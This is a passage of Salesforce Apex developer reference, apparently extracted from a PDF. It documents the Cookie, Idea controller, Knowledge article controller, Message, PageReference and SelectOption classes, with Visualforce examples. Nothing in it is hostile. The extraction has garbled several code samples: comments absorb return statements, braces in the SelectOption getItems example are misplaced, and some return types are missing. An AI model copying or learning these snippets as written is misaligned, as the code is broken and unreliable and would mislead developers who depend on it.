Returns the name of the cookie. Can't be null
.
Returns the path from which you can retrieve the cookie. If null
or blank, the location is set to root, or “/”.
Returns the data captured in the cookie, such as Session ID.
Returns true
if the cookie can only be accessed through HTTPS, otherwise returns false
.
getDomain()
Returns the name of the server making the request.
Signature public String getDomain()
Return Value
Type: String
getMaxAge()
Returns a number representing how long the cookie is valid for, in seconds. If set to
< 0
, a session cookie is issued. If set to
0
, the cookie is deleted.
Signature public Integer getMaxAge()
Return Value
Type: Integer
663
Apex Classes Used in Visualforce Controllers
getName()
Returns the name of the cookie. Can't be null
.
Signature public String getName()
Return Value
Type: String
getPath()
Returns the path from which you can retrieve the cookie. If null
or blank, the location is set to root, or “/”.
Signature public String getPath()
Return Value
Type: String
getValue()
Returns the data captured in the cookie, such as Session ID.
Signature public String getValue()
Return Value
Type: String
isSecure()
Returns true
if the cookie can only be accessed through HTTPS, otherwise returns false
.
Signature public Boolean isSecure()
Return Value
Type: Boolean
Cookie Methods
664
Apex Classes Used in Visualforce Controllers IdeaStandardController Class
IdeaStandardController Class
IdeaStandardController
objects offer Ideas-specific functionality in addition to what is provided by the
StandardController
.
Namespace
ApexPages
Usage
A method in the IdeaStandardController object is called by and operated on a particular instance of an IdeaStandardController.
Note:
The
IdeaStandardSetController
and
IdeaStandardController
classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the methods listed in this class, the
IdeaStandardController
class inherits all the methods associated with the
StandardController
class.
Instantiation
An IdeaStandardController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard ideas controller.
Example
The following example shows how an IdeaStandardController object can be used in the constructor for a custom list controller. This example provides the framework for manipulating the comment list data before displaying it on a Visualforce page.
public class MyIdeaExtension { private final ApexPages.IdeaStandardController ideaController; public MyIdeaExtension(ApexPages.IdeaStandardController controller) { ideaController = (ApexPages.IdeaStandardController)controller;
} public List<IdeaComment> getModifiedComments() {
IdeaComment[] comments = ideaController.getCommentList();
// modify comments here return comments;
}
}
The following Visualforce markup shows how the IdeaStandardController example shown above can be used in a page. This page must be named
detailPage
for this example to work.
665
Apex Classes Used in Visualforce Controllers IdeaStandardController Methods
Note: For the Visualforce page to display the idea and its comments, in the following example you need to specify the ID of a specific idea (for example,
/apex/detailPage?id=<ideaID>
) whose comments you want to view.
<!-- page named detailPage -->
<apex:page standardController= "Idea" extensions= "MyIdeaExtension" >
<apex:pageBlock title= "Idea Section" >
<ideas:detailOutputLink page= "detailPage" ideaId= "{!idea.id}" >{!idea.title}
</ideas:detailOutputLink >
<br/ > <br/ >
<apex:outputText >{!idea.body} </apex:outputText >
</apex:pageBlock >
<apex:pageBlock title= "Comments Section" >
<apex:dataList var= "a" value= "{!modifiedComments}" id= "list" >
{!a.commentBody}
</apex:dataList >
<ideas:detailOutputLink page= "detailPage" ideaId= "{!idea.id}" pageOffset= "-1" >Prev </ideas:detailOutputLink >
|
<ideas:detailOutputLink page= "detailPage" ideaId= "{!idea.id}" pageOffset= "1" >Next </ideas:detailOutputLink >
</apex:pageBlock >
</apex:page >
IdeaStandardController Methods
The following are instance methods for
IdeaStandardController
.
IN THIS SECTION:
Returns the list of read-only comments from the current page.
getCommentList()
Returns the list of read-only comments from the current page.
Signature public IdeaComment[] getCommentList()
Return Value
Type: IdeaComment[]
This method returns the following comment properties:
•
id
•
commentBody
•
createdDate
•
createdBy.Id
•
createdBy.communityNickname
666
Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class
IdeaStandardSetController Class
IdeaStandardSetController
objects offer Ideas-specific functionality in addition to what is provided by the
StandardSetController
.
Namespace
ApexPages
Usage
Note: The
IdeaStandardSetController
and
IdeaStandardController
classes are currently available through a limited release program. For information on enabling these classes for your organization, contact your Salesforce representative.
In addition to the method listed above, the
IdeaStandardSetController
class inherits the methods associated with the
StandardSetController
.
Note: The methods inherited from the
StandardSetController
cannot be used to affect the list of ideas returned by the getIdeaList
method.
Instantiation
An IdeaStandardSetController object cannot be instantiated. An instance can be obtained through a constructor of a custom extension controller when using the standard list controller for ideas.
Example: Displaying a Profile Page
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller: public class MyIdeaProfileExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaProfileExtension(ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller;
} public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here return ideas;
}
}
The following Visualforce markup shows how the IdeaStandardSetController example shown above and the
<ideas:profileListOutputLink >
component can display a profile page that lists the recent replies, submitted ideas, and votes associated with a user. Because this example does not identify a specific user ID, the page automatically shows the profile page for the current logged in user. This page must be named
profilePage
in order for this example to work:
<!-- page named profilePage -->
<apex:page standardController= "Idea" extensions= "MyIdeaProfileExtension"
667
Apex Classes Used in Visualforce Controllers IdeaStandardSetController Class recordSetVar= "ideaSetVar" >
<apex:pageBlock >
<ideas:profileListOutputLink sort= "recentReplies" page= "profilePage" >
Recent Replies </ideas:profileListOutputLink >
|
<ideas:profileListOutputLink sort= "ideas" page= "profilePage" >Ideas Submitted
</ideas:profileListOutputLink >
|
<ideas:profileListOutputLink sort= "votes" page= "profilePage" >Ideas Voted
</ideas:profileListOutputLink >
</apex:pageBlock >
<apex:pageBlock >
<apex:dataList value= "{!modifiedIdeas}" var= "ideadata" >
<ideas:detailoutputlink ideaId= "{!ideadata.id}" page= "viewPage" >
{!ideadata.title} </ideas:detailoutputlink >
</apex:dataList >
</apex:pageBlock >
</apex:page >
In the previous example, the
<ideas:detailoutputlink >
component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named
viewPage
in order for this example to work:
<!-- page named viewPage -->
<apex:page standardController= "Idea" >
<apex:pageBlock title= "Idea Section" >
<ideas:detailOutputLink page= "viewPage" ideaId= "{!idea.id}" >{!idea.title}
</ideas:detailOutputLink >
<br/ > <br/ >
<apex:outputText >{!idea.body} </apex:outputText >
</apex:pageBlock >
</apex:page >
Example: Displaying a List of Top, Recent, and Most Popular Ideas and
Comments
The following example shows how an IdeaStandardSetController object can be used in the constructor for a custom list controller:
Note: You must have created at least one idea for this example to return any ideas.
public class MyIdeaListExtension { private final ApexPages.IdeaStandardSetController ideaSetController; public MyIdeaListExtension (ApexPages.IdeaStandardSetController controller) { ideaSetController = (ApexPages.IdeaStandardSetController)controller;
} public List<Idea> getModifiedIdeas() {
Idea[] ideas = ideaSetController.getIdeaList();
// modify ideas here return ideas;
}
}
668
Apex Classes Used in Visualforce Controllers IdeaStandardSetController Methods
The following Visualforce markup shows how the IdeaStandardSetController example shown above can be used with the
<ideas:listOutputLink >
component to display a list of recent, top, and most popular ideas and comments. This page must be named
listPage
in order for this example to work:
<!-- page named listPage -->
<apex:page standardController= "Idea" extensions= "MyIdeaListExtension" recordSetVar= "ideaSetVar" >
<apex:pageBlock >
<ideas:listOutputLink sort= "recent" page= "listPage" >Recent Ideas
</ideas:listOutputLink >
|
<ideas:listOutputLink sort= "top" page= "listPage" >Top Ideas
</ideas:listOutputLink >
|
<ideas:listOutputLink sort= "popular" page= "listPage" >Popular Ideas
</ideas:listOutputLink >
|
<ideas:listOutputLink sort= "comments" page= "listPage" >Recent Comments
</ideas:listOutputLink >
</apex:pageBlock >
<apex:pageBlock >
<apex:dataList value= "{!modifiedIdeas}" var= "ideadata" >
<ideas:detailoutputlink ideaId= "{!ideadata.id}" page= "viewPage" >
{!ideadata.title} </ideas:detailoutputlink >
</apex:dataList >
</apex:pageBlock >
</apex:page >
In the previous example, the
<ideas:detailoutputlink >
component links to the following Visualforce markup that displays the detail page for a specific idea. This page must be named
viewPage
.
<!-- page named viewPage -->
<apex:page standardController= "Idea" >
<apex:pageBlock title= "Idea Section" >
<ideas:detailOutputLink page= "viewPage" ideaId= "{!idea.id}" >{!idea.title}
</ideas:detailOutputLink >
<br/ > <br/ >
<apex:outputText >{!idea.body} </apex:outputText >
</apex:pageBlock >
</apex:page >
IdeaStandardSetController Methods
The following are instance methods for
IdeaStandardSetController
.
IN THIS SECTION:
Returns the list of read-only ideas in the current page set.
getIdeaList()
Returns the list of read-only ideas in the current page set.
669
Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class
Signature public Idea[] getIdeaList()
Return Value
Type: Idea[]
Usage
You can use the
<ideas:listOutputLink >
,
<ideas:profileListOutputLink >
, and
<ideas:detailOutputLink >
components to display profile pages as well as idea list and detail pages (see the examples below).
The following is a list of properties returned by this method:
•
Body
•
Categories
•
Category
•
CreatedBy.CommunityNickname
•
CreatedBy.Id
•
CreatedDate
•
Id
•
LastCommentDate
•
LastComment.Id
•
LastComment.CommentBody
•
LastComment.CreatedBy.CommunityNickname
•
LastComment.CreatedBy.Id
•
NumComments
•
Status
•
Title
•
VoteTotal
KnowledgeArticleVersionStandardController Class
KnowledgeArticleVersionStandardController
objects offer article-specific functionality in addition to what is provided by the
StandardController
.
Namespace
ApexPages
Usage
In addition to the method listed above, the
KnowledgeArticleVersionStandardController
class inherits all the methods associated with
StandardController
.
670
Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Class
Note: Though inherited, the edit
, delete
, and save
methods don't serve a function when used with the
KnowledgeArticleVersionStandardController
class.
Example
The following example shows how a
KnowledgeArticleVersionStandardController
object can be used to create a custom extension controller. In this example, you create a class named
AgentContributionArticleController
that allows customer-support agents to see pre-populated fields on the draft articles they create while closing cases.
Prerequisites:
1. Create an article type called
FAQ
. For instructions, see “Create Article Types” in the Salesforce online help.
2. Create a text custom field called
Details
. For instructions, see “Add Custom Fields to Article Types” in the Salesforce online help.
3. Create a category group called
Geography
and assign it to a category called
USA
. For instructions, see “Create and Modify
Category Groups” and “Add Data Categories to Category Groups” in the Salesforce online help.
4. Create a category group called
Topics
and assign it a category called
Maintenance
.
/** Custom extension controller for the simplified article edit page that appears when an article is created on the close-case page.
*/ public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument public AgentContributionArticleController(
ApexPages.KnowledgeArticleVersionStandardController ctl) {
// This is the SObject for the new article.
//It can optionally be cast to the proper article type.
// For example, FAQ__kav article = (FAQ__kav) ctl.getRecord();
SObject article = ctl.getRecord();
// This returns the ID of the case that was closed.
String sourceId = ctl.getSourceId();
Case c = [SELECT Subject, Description FROM Case WHERE Id=:sourceId];
// This overrides the default behavior of pre-filling the
// title of the article with the subject of the closed case.
article.put( 'title' , 'From Case: ' +c.subject); article.put( 'details__c' ,c.description);
// Only one category per category group can be specified.
ctl.selectDataCategory( 'Geography' , 'USA' ); ctl.selectDataCategory( 'Topics' , 'Maintenance' );
}
}
/** Test class for the custom extension controller.
*/
@isTest private class AgentContributionArticleControllerTest { static testMethod void testAgentContributionArticleController() {
String caseSubject = 'my test' ;
String caseDesc = 'my test description' ;
Case c = new Case();
671
Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Constructors c.subject= caseSubject; c.description = caseDesc; insert c;
String caseId = c.id;
System.debug( 'Created Case: ' + caseId);
ApexPages.currentPage().getParameters().put( 'sourceId' , caseId);
ApexPages.currentPage().getParameters().put( 'sfdc.override' , '1' );
ApexPages.KnowledgeArticleVersionStandardController ctl = new ApexPages.KnowledgeArticleVersionStandardController( new FAQ__kav()); new AgentContributionArticleController(ctl);
System.assertEquals(caseId, ctl.getSourceId());
System.assertEquals( 'From Case: ' +caseSubject, ctl.getRecord().get( 'title' ));
System.assertEquals(caseDesc, ctl.getRecord().get( 'details__c' ));
}
}
If you created the custom extension controller for the purpose described in the previous example (that is, to modify submitted-via-case articles), complete the following steps after creating the class:
1. Log into your Salesforce organization and from Setup, enter
Knowledge Settings
in the
Quick Find
box, then select
Knowledge Settings.
2. Click Edit.
3. Assign the class to the
Use Apex customization
field. This associates the article type specified in the new class with the article type assigned to closed cases.
4. Click Save.
IN THIS SECTION:
KnowledgeArticleVersionStandardController Constructors
KnowledgeArticleVersionStandardController Methods
KnowledgeArticleVersionStandardController Constructors
The following are constructors for
KnowledgeArticleVersionStandardController
.
IN THIS SECTION:
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the
ApexPages.KnowledgeArticleVersionStandardController
class using the specified knowledge article.
KnowledgeArticleVersionStandardController(article)
Creates a new instance of the
ApexPages.KnowledgeArticleVersionStandardController
class using the specified knowledge article.
672
Apex Classes Used in Visualforce Controllers KnowledgeArticleVersionStandardController Methods
Signature public KnowledgeArticleVersionStandardController(SObject article)
Parameters
article
Type: SObject
The knowledge article, such as
FAQ_kav
.
KnowledgeArticleVersionStandardController Methods
The following are instance methods for
KnowledgeArticleVersionStandardController
.
IN THIS SECTION:
Returns the ID for the source object record when creating a new article from another object.
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
getSourceId()
Returns the ID for the source object record when creating a new article from another object.
Signature public String getSourceId()
Return Value
Type: String
setDataCategory(categoryGroup, category)
Specifies a default data category for the specified data category group when creating a new article.
Signature public Void setDataCategory( String categoryGroup, String category)
Parameters
categoryGroup
Type: String
category
Type: String
673
Apex Classes Used in Visualforce Controllers Message Class
Return Value
Type: Void
Message Class
Contains validation errors that occur when the end user saves the page when using a standard controller.
Namespace
ApexPages
Usage
When using a standard controller, all validation errors, both custom and standard, that occur when the end user saves the page are automatically added to the page error collections. If there is an inputField
component bound to the field with an error, the message is added to the components error collection. All messages are added to the pages error collection. For more information, see Validation
Rules and Standard Controllers in the Visualforce Developer's Guide.
If your application uses a custom controller or extension, you must use the message
class for collecting errors.
Instantiation
In a custom controller or controller extension, you can instantiate a Message in one of the following ways:
•
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.
severity
,
summary
); where
ApexPages.severity
is the enum that is determines how severe a message is, and
summary
is the String used to summarize the message. For example:
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.Severity.FATAL, 'my error msg' );
•
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.
severity
,
summary
,
detail
); where
ApexPages. severity
is the enum that is determines how severe a message is,
summary
is the String used to summarize the message, and
detail
is the String used to provide more detailed information about the error.
ApexPages.Severity Enum
Using the
ApexPages.Severity
enum values, specify the severity of the message. The following are the valid values:
•
CONFIRM
•
ERROR
•
FATAL
•
INFO
•
WARNING
All enums have access to standard methods, such as name
and value
.
674
Apex Classes Used in Visualforce Controllers Message Constructors
IN THIS SECTION:
Message Constructors
The following are constructors for
Message
.
IN THIS SECTION:
Creates a new instance of the
ApexPages.Message
class using the specified message severity and summary.
Message(severity, summary, detail)
Creates a new instance of the
ApexPages.Message
class using the specified message severity, summary, and message detail.
Message(severity, summary, detail, id)
Creates a new instance of the
ApexPages.Message
class using the specified severity, summary, detail, and component ID.
Message(severity, summary)
Creates a new instance of the
ApexPages.Message
class using the specified message severity and summary.
Signature public Message(ApexPages.Severity severity, String summary)
Parameters
severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
Message(severity, summary, detail)
Creates a new instance of the
ApexPages.Message
class using the specified message severity, summary, and message detail.
Signature public Message(ApexPages.Severity severity, String summary, String detail)
Parameters
severity
675
Apex Classes Used in Visualforce Controllers Message Methods
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
Message(severity, summary, detail, id)
Creates a new instance of the
ApexPages.Message
class using the specified severity, summary, detail, and component ID.
Signature public Message(ApexPages.Severity severity, String summary, String detail, String id)
Parameters
severity
The severity of a Visualforce message.
summary
Type: String
The summary Visualforce message.
detail
Type: String
The detailed Visualforce message.
id
Type: String
The ID of the Visualforce component to associate with the message, for example, a form field with an error.
Message Methods
The following are methods for
Message
. All are instance methods.
IN THIS SECTION:
Returns the label of the associated inputField
component. If no label is defined, this method returns null
.
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null
.
Returns the severity enum used to create the message.
676
Apex Classes Used in Visualforce Controllers Message Methods
Returns the summary String used to create the message.
getComponentLabel()
Returns the label of the associated inputField
component. If no label is defined, this method returns null
.
Signature public String getComponentLabel()
Return Value
Type: String
getDetail()
Returns the value of the detail parameter used to create the message. If no detail String was specified, this method returns null
.
Signature public String getDetail()
Return Value
Type: String
getSeverity()
Returns the severity enum used to create the message.
Signature public ApexPages.Severity getSeverity()
Return Value
Type:
getSummary()
Returns the summary String used to create the message.
Signature public String getSummary()
677
Apex Classes Used in Visualforce Controllers PageReference Class
Return Value
Type: String
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.
Namespace
System
Use a PageReference object:
•
To view or set query string parameters and values for a page
•
To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
•
Page.
existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way, the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will prevent the page from being deleted while the controller or extension exists.
•
PageReference pageRef = new PageReference( '
partialURL
');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting
'partialURL'
to
'/apex/HelloWorld'
refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld
. Likewise, setting
' partialURL'
to
'/' + ' recordID' refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than
Page.
existingPageName
because the PageReference is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of the specified page and won't issue an error message to prevent user deletion of the page.
•
PageReference pageRef = new PageReference( '
fullURL
');
Creates a PageReference for an external URL. For example:
PageReference pageRef = new PageReference( 'http://www.google.com' );
You can also instantiate a PageReference object for the current page with the currentPage
ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();
678
Apex Classes Used in Visualforce Controllers PageReference Class
Request Headers
The following table is a non-exhaustive list of headers that are set on requests.
Header
Host
Referer
User-Agent
CipherSuite
X-Salesforce-SIP
X-Salesforce-Forwarded-To
Description
The host name requested in the request URL. This header is always set on Force.com Site requests and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead of HTTP/1.1.
The URL that is either included or linked to the current request's URL. This header is optional.
The name, version, and extension support of the program that initiated this request, such as a Web browser. This header is optional and can be overridden in most browsers to be a different value.
Therefore, this header should not be relied upon.
If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise, the request is using HTTP. The contents of a non-blank value are not defined by this API, and can be changed without notice.
The source IP address of the request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.
Note: If a request passes through a content delivery network (CDN) or proxy server, the source IP address might be altered, and no longer the original client IP address.
The fully qualified domain name of the Salesforce instance that is handling this request. This header is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.
Example: Retrieving Query String Parameters
The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this example, the getAccount
method references the id
query string parameter: public class MyController { public Account getAccount() { return [SELECT Id, Name FROM Account
WHERE Id = :ApexPages.currentPage().getParameters().get( 'Id' )];
}
}
The following page markup calls the getAccount
method from the controller above:
<apex:page controller= "MyController" >
<apex:pageBlock title= "Retrieving Query String Parameters" >
You are viewing the {!account.name} account.
</apex:pageBlock >
</apex:page >
679
Apex Classes Used in Visualforce Controllers PageReference Class
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if
001D000000IRt53
is the account ID, the resulting URL should be: https://
Salesforce_instance
/apex/MyFirstPage?id=001D000000IRt53
The getAccount
method uses an embedded SOQL query to return the account specified by the id
parameter in the URL of the page. To access id
, the getAccount
method uses the
ApexPages
namespace:
•
First the currentPage
method returns the
PageReference
instance for the current page.
PageReference
returns a reference to a Visualforce page, including its query string parameters.
•
Using the page reference, use the getParameters
method to return a map of the specified query string parameter names and values.
•
Then a call to the get
method specifying id
returns the value of the id
parameter itself.
Example: Navigating to a New Page as the Result of an Action Method
Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the redirect
attribute on the PageReference is set to true
, the user navigates to the URL specified by the PageReference.
The following example shows how this can be implemented with a save
method. In this example, the PageReference returned by the save
method redirects the user to the detail page for the account record that was just saved: public class mySecondController {
Account account; public Account getAccount() { if (account == null ) account = new Account(); return account;
} public PageReference save() {
// Add the account to the database.
insert account;
// Send the user to the detail page for the new account.
PageReference acctPage = new ApexPages.StandardController(account).view(); acctPage.setRedirect( true ); return acctPage;
}
}
The following page markup calls the save
method from the controller above. When a user clicks Save, he or she is redirected to the detail page for the account just created:
<apex:page controller= "mySecondController" tabStyle= "Account" >
<apex:sectionHeader title= "New Account Edit Page" />
<apex:form >
<apex:pageBlock title= "Create a New Account" >
<apex:pageBlockButtons location= "bottom" >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "Account Information" >
<apex:inputField id= "accountName" value= "{!account.name}" />
<apex:inputField id= "accountSite" value= "{!account.site}" />
</apex:pageBlockSection >
680
Apex Classes Used in Visualforce Controllers PageReference Constructors
</apex:pageBlock >
</apex:form >
</apex:page >
IN THIS SECTION:
PageReference Constructors
The following are constructors for
PageReference
.
IN THIS SECTION:
Creates a new instance of the
PageReference
class using the specified URL.
Creates a new instance of the
PageReference
class for the specified sObject record.
PageReference(partialURL)
Creates a new instance of the
PageReference
class using the specified URL.
Signature public PageReference( String partialURL)
Parameters
partialURL
Type: String
The partial URL of a page hosted on the Force.com platform or a full external URL. The following are some examples of the
partialURL
parameter values:
•
/apex/HelloWorld
: refers to the Visualforce page located at http://mySalesforceInstance/apex/HelloWorld
.
•
/recordID
: refers to the detail page of a specified record.
•
http://www.google.com
: refers to an external URL.
PageReference(record)
Creates a new instance of the
PageReference
class for the specified sObject record.
Signature public PageReference(SObject record)
681
Apex Classes Used in Visualforce Controllers PageReference Methods
Parameters
record
Type: SObject
The sObject record to create a page reference for.
PageReference Methods
The following are methods for
PageReference
. All are instance methods.
IN THIS SECTION:
Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).
Returns the output of the page, as displayed to a user in a web browser.
Returns the page in PDF, regardless of the
<apex:page >
component’s renderAs
attribute.
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name.
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter.
Returns the current value of the PageReference object's redirect
attribute.
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.
Sets the URL’s anchor reference to the specified string.
Creates a list of cookie objects. Used in conjunction with the
Cookie
class.
Sets the value of the PageReference object's redirect
attribute. If set to true
, a redirect is performed through a client side redirect.
getAnchor()
Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).
682
Apex Classes Used in Visualforce Controllers PageReference Methods
Signature public String getAnchor()
Return Value
Type: String
getContent()
Returns the output of the page, as displayed to a user in a web browser.
Signature public Blob getContent()
Return Value
Type: Blob
Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document.
If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString
Blob method.
Note:
If you use getContent
in a test method, the test method fails. getContent
is treated as a callout in API version
34.0 and later.
This method can’t be used in:
•
Triggers
•
Test methods
•
Apex email services
If the Visualforce page has an error, an
ExecutionException
is thrown.
getContentAsPDF()
Returns the page in PDF, regardless of the
<apex:page >
component’s renderAs
attribute.
Signature public Blob getContentAsPDF()
Return Value
Type: Blob
683
Apex Classes Used in Visualforce Controllers PageReference Methods
Usage
Note: If you use getContentAsPDF
in a test method, the test method fails. getContentAsPDF
is treated as a callout in API version 34.0 and later.
This method can’t be used in:
•
Triggers
•
Test methods
•
Apex email services
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie objects with that name.
Signature public Map< String , System.Cookie[]> getCookies()
Return Value
Type: Map<String,
[]>
Usage
Used in conjunction with the
Cookie
class. Only returns cookies with the “ apex__
” prefix set by the setCookies
method.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of the header.
Signature public Map< String , String > getHeaders()
Return Value
Type: Map<String, String>
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getHeaders().put( 'Date' , '9/9/99' );
For a description of request headers, see Request Headers .
684
Apex Classes Used in Visualforce Controllers PageReference Methods
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter, while the value string contains the value of the parameter.
Signature public Map< String , String > getParameters()
Return Value
Type: Map<String, String>
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put( 'id' , myID);
Parameter keys are case-insensitive. For example:
System.assert(
ApexPages.currentPage().getParameters().get( 'myParamName' ) ==
ApexPages.currentPage().getParameters().get( 'myparamname' ));
getRedirect()
Returns the current value of the PageReference object's redirect
attribute.
Signature public Boolean getRedirect()
Return Value
Type: Boolean
Usage
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com
domain, the redirect always occurs, regardless of whether the redirect
attribute is set to true
or false
.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and anchors.
Signature public String getUrl()
685
Apex Classes Used in Visualforce Controllers PageReference Methods
Return Value
Type: String
setAnchor(anchor)
Sets the URL’s anchor reference to the specified string.
Signature public System.PageReference setAnchor( String anchor)
Parameters
anchor
Type: String
Return Value
Type:
Example
For example, https:// Salesforce_instance/apex/my_page#anchor1
.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the
Cookie
class.
Signature public Void setCookies(Cookie[] cookies)
Parameters
cookies
Return Value
Type: Void
Usage
Important:
•
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
•
The setCookies
method adds the prefix “ apex__
” to the cookie names.
•
Setting a cookie's value to null
sends a cookie with an empty string value instead of setting an expired attribute.
686
Apex Classes Used in Visualforce Controllers SelectOption Class
•
After you create a cookie, the properties of the cookie can't be changed.
•
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites
Pages” in the Salesforce online help.
setRedirect(redirect)
Sets the value of the PageReference object's redirect
attribute. If set to true
, a redirect is performed through a client side redirect.
Signature public System.PageReference setRedirect( Boolean redirect)
Parameters
redirect
Type: Boolean
Return Value
Type:
Usage
This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false
, the redirect is a server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset of extensions used by the source page.
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com
domain, or to a page with a different controller or controller extension, the redirect always occurs, regardless of whether the redirect
attribute is set to true or false
.
SelectOption Class
A
SelectOption
object specifies one of the possible values for a Visualforce selectCheckboxes
, selectList
, or selectRadio
component.
Namespace
System
SelectOption
consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A
SelectOption
can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
687
Apex Classes Used in Visualforce Controllers SelectOption Class
•
SelectOption option = new SelectOption(
value
,
label
,
isDisabled
); where
value
is the String that is returned to the controller if the option is selected by a user,
label
is the String that is displayed to the user as the option choice, and
isDisabled
is a Boolean that, if true, specifies that the user cannot select the option, but can still view it.
•
SelectOption option = new SelectOption(
value
,
label
); where
value
is the String that is returned to the controller if the option is selected by a user, and
label
is the String that is displayed to the user as the option choice. Because a value for
isDisabled
is not specified, the user can both view and select the option.
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes component on a Visualforce page. In the following custom controller, the getItems
method defines and returns the list of possible
SelectOption objects: public class sampleCon {
String [] countries = new String []{}; public PageReference test() { return null ;
} public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>(); options.add( new SelectOption( 'US' , 'US' )); options.add( new SelectOption( 'CANADA' , 'Canada' ));
} options.add( new SelectOption( 'MEXICO' , 'Mexico' )); return options; public String [] getCountries() { return countries;
} public void setCountries( String [] countries) { this .countries = countries;
}
}
In the following page markup, the
<apex:selectOptions >
tag uses the getItems
method from the controller above to retrieve the list of possible values. Because
<apex:selectOptions >
is a child of the
<apex:selectCheckboxes >
tag, the options are displayed as checkboxes:
<apex:page controller= "sampleCon" >
<apex:form >
<apex:selectCheckboxes value= "{!countries}" >
<apex:selectOptions value= "{!items}" />
</apex:selectCheckboxes > <br/ >
688
Apex Classes Used in Visualforce Controllers SelectOption Constructors
<apex:commandButton value= "Test" action= "{!test}" rerender= "out" status= "status" />
</apex:form >
<apex:outputPanel id= "out" >
<apex:actionstatus id= "status" startText= "testing..." >
<apex:facet name= "stop" >
<apex:outputPanel >
<p >You have selected: </p >
<apex:dataList value= "{!countries}" var= "c" >{!c} </apex:dataList >
</apex:outputPanel >
</apex:facet >
</apex:actionstatus >
</apex:outputPanel >
</apex:page >
IN THIS SECTION:
SelectOption Constructors
The following are constructors for
SelectOption
.
IN THIS SECTION:
Creates a new instance of the
SelectOption
class using the specified value and label.
SelectOption(value, label, isDisabled)
Creates a new instance of the
SelectOption
class using the specified value, label, and disabled setting.
SelectOption(value, label)
Creates a new instance of the
SelectOption
class using the specified value and label.
Signature public SelectOption( String value, String label)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
689
Apex Classes Used in Visualforce Controllers
SelectOption(value, label, isDisabled)
Creates a new instance of the
SelectOption
class using the specified value, label, and disabled setting.
Signature public SelectOption( String value, String label, Boolean isDisabled)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
isDisabled
Type: Boolean
